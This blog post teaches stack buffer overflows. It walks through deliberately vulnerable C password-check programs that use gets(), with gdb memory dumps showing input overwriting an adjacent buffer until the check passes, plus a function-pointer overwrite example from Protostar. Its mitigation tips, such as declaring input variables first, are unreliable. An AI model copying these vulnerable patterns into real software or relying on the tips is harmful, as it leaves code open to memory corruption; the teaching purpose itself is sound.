Stack Buffer Overflow Attack

Back to Blog page

Inspiration from the code snippet, mentioned below

The Windows Source Code Revealed: Task Manager (E01)
The original author of Windows Task Manager takes you on an authorized tour of the Windows source code behind the XP Task Manager. For information on my book, Secrets of the Autistic Millionaire: https://amzn.to/45ZzcFW Windows code provided courtesy of Microsoft Corporation; this code is NOT open source and it remains Microsoft copyrighted material, used with permission.
https://www.youtube.com/watch?v=1YGD94lSor8&t=125s

In the code snippet, Dave Plummer the genius behind the Windows Task Manager mentioned about __security_init_cookie() and how it can be essential to prevent Stack Buffer overflow attacks. To understand the Stack Buffer Overflow exploit, i gathered around few resources off the internet and compiled in one single blog. Hope you enjoy reading it..

SBO Attack in a nutshell

When a program is compiled, a space is created in memory (RAM) for storing data in variables declared in the program’s code, well basically a call stack. The stack comprises of data stored in variables as well as pointers to function calls as the program is read out.

In case of the code that is vulnerable to this attack, the contents of the variables stored in the memory can be modified. Then we can change the flow of the code either by modifying the contents of the data of the variable or make the variable point to a section in the stack where it can run malicious code, such as opening a shell to the remote system etc.

Memory Call Stack

This example is based from the blog article by Rapid7

Stack-Based Buffer Overflow Attacks: Explained | Rapid7 | Rapid7 Blog
Stack-based buffer overflow exploits are likely the shiniest and most common form of exploit for remotely taking over the code execution of a process.
https://www.rapid7.com/blog/post/2019/02/19/stack-based-buffer-overflow-attacks-what-you-need-to-know/
#include <signal.h>
#include <stdio.h>
#include <string.h>
int main(){
	char realPassword[20];
	char givenPassword[20];

	strncpy(realPassword, "ddddddddddddddd", 20);
	gets(givenPassword);
	
	if (0 == strncmp(givenPassword, realPassword, 20)){
		printf("SUCCESS!\n");
	}else{
		printf("FAILURE!\n");
	}
	raise(SIGINT);
	printf("givenPassword: %s\n", givenPassword);
	printf("realPassword: %s\n", realPassword);
	return 0;
}

Take a look of the code mentioned above, this looks like a simple program. But notice that we have used gets function to store input to the variable “givenPassword”.

The reason why you as a programmer should never use the gets function in your code is; regardless of how lengthy your input string can be, it can store data from the input given to your program to the address of wherever the variable is allocated in the stack. Thus, it can overload the stack buffers incase if the size declared for the variable in the code exceeds.

We go in depth to explain how this exploit works:

Now, what you would do is, you would type a recurring character such as A or B repeatedly until it exceeds the size allocated to the variable.

(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0:	0x00000000	0x00000000	0x00400701	0x00000000
0x7fffffffdde0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffddf0:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffde00:	0x64646464	0x64646464	0x64646464	0x00646464
0x7fffffffde10:	0x00000000	0x00007fff	0x00000000	0x00000000
.
.
.

In the debugger output above, we can see the second line is one containing the contents of the input variable “givenPassword” that is ‘A’ repeated multiple times and in the fourth line we have the contents of the variable “realPassword” that is ‘d’.

In order to perform this exploit we have to the fill the contents of the fourth line with the input ‘A’ to “fool” the program. To do that simply you would type AAAAAAAAAAAAAAAAAAAAAA having more than 20 characters until you reach the length of the buffer for the second variable , it would also modify the content of the other variable “realPassword” which we are trying to compare the input variable “givenPassword”.

Lets try with 30 chars of ‘A’ ‘s

msfuser@ubuntu:~$ gdb example.elf
.
.
.
(gdb) run
Starting program: /home/msfuser/example.elf 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FAILURE!
givenPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
realPassword: ddddddddddddddd

Program received signal SIGINT, Interrupt.
0x00007ffff7a42428 in __GI_raise (sig=2) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
 rip = 0x7ffff7a42428 in __GI_raise (../sysdeps/unix/sysv/linux/raise.c:54); saved rip = 0x40072d
 called by frame at 0x7fffffffde30
 source language c.
 Arglist at 0x7fffffffddd0, args: sig=2
 Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
 Saved registers:
  rip at 0x7fffffffddd8
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0:	0x00000000	0x00000000	0x0040072d	0x00000000
0x7fffffffdde0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffddf0:	0x61616161	0x61616161	0x61616161	0x00006161
0x7fffffffde00:	0x64646464	0x64646464	0x64646464	0x00646464
0x7fffffffde10:	0x00000000	0x00007fff	0x00000000	0x00000000
0x7fffffffde20:	0x00400740	0x00000000	0xf7a2d830	0x00007fff
0x7fffffffde30:	0x00000000	0x00000000	0xffffdf08	0x00007fff

Here we can notice that the variable content for givenPassword (mentioned in the second line) is filled with A’s and the rest of them has gone to the buffer (mentioned in the third line) but it is not sufficient enough to fill the fourth line containing the contents of the variable realPassword. So lets try with 40 A’s

msfuser@ubuntu:~$ gdb example.elf
.
.
.
(gdb) run
Starting program: /home/msfuser/example.elf 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
FAILURE!
givenPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
realPassword: aaaaaaaa

Program received signal SIGINT, Interrupt.
0x00007ffff7a42428 in __GI_raise (sig=2) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
.
.
.
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0:	0x00000000	0x00000000	0x0040072d	0x00000000
0x7fffffffdde0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffddf0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffde00:	0x61616161	0x61616161	0x64646400	0x00646464
0x7fffffffde10:	0x00000000	0x00007fff	0x00000000	0x00000000
0x7fffffffde20:	0x00400740	0x00000000	0xf7a2d830	0x00007fff

Here we can see that on the fourth line, some A’s have filled which we can see in the output as shown above, but still not sufficient to fool the comparison.

What we did so far?

20 A’s has filled givenPassword

12 A’s has filled the buffer in between

8 A’s has filled realPassword

Now we need 12 more A’s in the realPassword, in order to successfully exploit the program

msfuser@ubuntu:~$ gdb example.elf
.
.
.
(gdb) run
Starting program: /home/msfuser/example.elf 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SUCCESS!
givenPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
realPassword: aaaaaaaaaaaaaaaaaaaa

Program received signal SIGINT, Interrupt.
0x00007ffff7a42428 in __GI_raise (sig=2) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdde0:
 rip = 0x7ffff7a42428 in __GI_raise (../sysdeps/unix/sysv/linux/raise.c:54); saved rip = 0x40072d
 called by frame at 0x7fffffffde30
 source language c.
 Arglist at 0x7fffffffddd0, args: sig=2
 Locals at 0x7fffffffddd0, Previous frame's sp is 0x7fffffffdde0
 Saved registers:
  rip at 0x7fffffffddd8
(gdb) x/200x 0x7fffffffddd0
0x7fffffffddd0:	0x00000000	0x00000000	0x0040072d	0x00000000
0x7fffffffdde0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffddf0:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffde00:	0x61616161	0x61616161	0x61616161	0x61616161
0x7fffffffde10:	0x61616161	0x00007f00	0x00000000	0x00000000
💡
To the person witnessing the attack and who is not aware of the functioning of the code, we have essentially changed the content of the actual password by overflowing input. This way, we have “hacked” the program.

HOWEVER! The declaration of the variable matters the most. Take a look at the snippets below and the output it gave

#include<stdio.h>
#include<string.h>
int main()
{
        char inputString[10];
        char testString[10];
        strncpy(testString, "cccccccccc",10);
        gets(inputString);

        if(0 == strncmp(inputString, testString, 10))
        {
                printf("SUCCESS\n");
        }
        else
        {
                printf("Wrong String\n");
        }
        printf("Original String: %s\n",testString);
        printf("Test String: %s\n", inputString);
        return 0;
}

Now, lets test the output for the code

root@e638e97c66f5:/home/test-user# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Wrong String
Original String: ccccccccccaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Test String: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Here we can see that original string got appended with the additional buffers.

Let’s change declare testString before inputString and see the difference

#include<stdio.h>
#include<string.h>
int main()
{
        char testString[10];
        char inputString[10];
        strncpy(testString, "cccccccccc",10);
        gets(inputString);

        if(0 == strncmp(inputString, testString, 10))
        {
                printf("SUCCESS\n");
        }
        else
        {
                printf("Wrong String\n");
        }
        printf("Original String: %s\n",testString);
        printf("Test String: %s\n", inputString);
        return 0;
}

Here are the results

root@e638e97c66f5:/home/test-user# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SUCCESS
Original String: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Test String: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

As we can see the buffers got populated in the original string thus exploiting the code.

In Principle, the buffers get filled from top to bottom of the stack, hence overwriting the contents of all the variables that are declared later on.

Some caveats,

To prevent getting the value changed of the variable make sure of two things:

  1. Always declare the variables where input strings are stored, then declare the other variables containing the data
  1. When using strncpy command to copy the strings, ensure to keep the size bigger than the length of the string2 that is getting copied to string1 i.e.

    char *strncpy(char *string1, const char *string2, size_t count);

    strncpy(testString, "cccc",10);

    Here 10 i.e. count is bigger than the length of string2 (4). Hence rest of the empty string will be just escape chars.

If we use a similar strategy, we can change the content of the variable in order the code to point to a function call.

We use the following code to demonstrate how we can essentially change the flow of the code, by making the code make a function call that is not intended to do.

Code obtained from:

Stack Three :: Andrew Griffiths' Exploit Education
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
https://exploit.education/protostar/stack-three/
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

In this case, we want to make the buffer overflow in such a way that the function “win” is called.

How can this be achieved?

volatile int (*fp)();

Here we have a function prototype defined such a way that the call to the function pointer can be manipulated by overflowing the contents of the buffers of the stack. Because of using the keyword “volatile” we can essentially make the function call to our targeted function i.e. “win”

The exploit is explained and performed in detail in this video:

Buffer Overflows can Redirect Program Execution - bin 0x0D
This video shows you how to take over control of a program with a buffer overflow stack3: https://exploit.education/protostar/stack-three/ stack4: https://exploit.education/protostar/stack-four/ -=[ 🔴 Stuff I use ]=- → Microphone:* https://geni.us/ntg3b → Graphics tablet:* https://geni.us/wacom-intuos → Camera#1 for streaming:* https://geni.us/sony-camera → Lens for streaming:* https://geni.us/sony-lense → Connect Camera#1 to PC:* https://geni.us/cam-link → Keyboard:* https://geni.us/mech-keyboard → Old Microphone:* https://geni.us/mic-at2020usb US Store Front:* https://www.amazon.com/shop/liveoverflow -=[ ❤️ Support ]=- → per Video: https://www.patreon.com/join/liveoverflow → per Month: https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w/join -=[ 🐕 Social ]=- → Twitter: https://twitter.com/LiveOverflow/ → Website: https://liveoverflow.com/ → Subreddit: https://www.reddit.com/r/LiveOverflow/ → Facebook: https://www.facebook.com/LiveOverflow/ -=[ 📄 P.S. ]=- All links with "*" are affiliate links. LiveOverflow / Security Flag GmbH is part of the Amazon Affiliate Partner Programm. #BufferOverflow #BinaryExploitation
https://www.youtube.com/watch?v=8QzOC8HfOqU

Further reading

Registers - SkullSecurity
This section is the first section specific to assembly. So if you're reading through the full guide, get ready for some actual learning!
https://wiki.skullsecurity.org/index.php?title=Registers#esp
Running a Buffer Overflow Attack - Computerphile
Making yourself the all-powerful "Root" super-user on a computer using a buffer overflow attack. Assistant Professor Dr Mike Pound details how it's done. Formerly titled "Buffer Overflow Attack" -Aug 2021 The Stack: https://youtu.be/7ha78yWRDlE Botnets: https://youtu.be/UVFmC178_Vs The Golden Key: iPhone Encryption: https://youtu.be/6RNKtwAGvqc 3D Stereo Vision: https://youtu.be/O7B2vCsTpC0 Brain Scanner: https://youtu.be/TQ0sL1ZGnQ4 http://www.facebook.com/computerphile https://twitter.com/computer_phile This video was filmed and edited by Sean Riley. Computer Science at the University of Nottingham: http://bit.ly/nottscomputer Computerphile is a sister project to Brady Haran's Numberphile. More at http://www.bradyharan.com
https://www.youtube.com/watch?v=1S0aBV-Waeo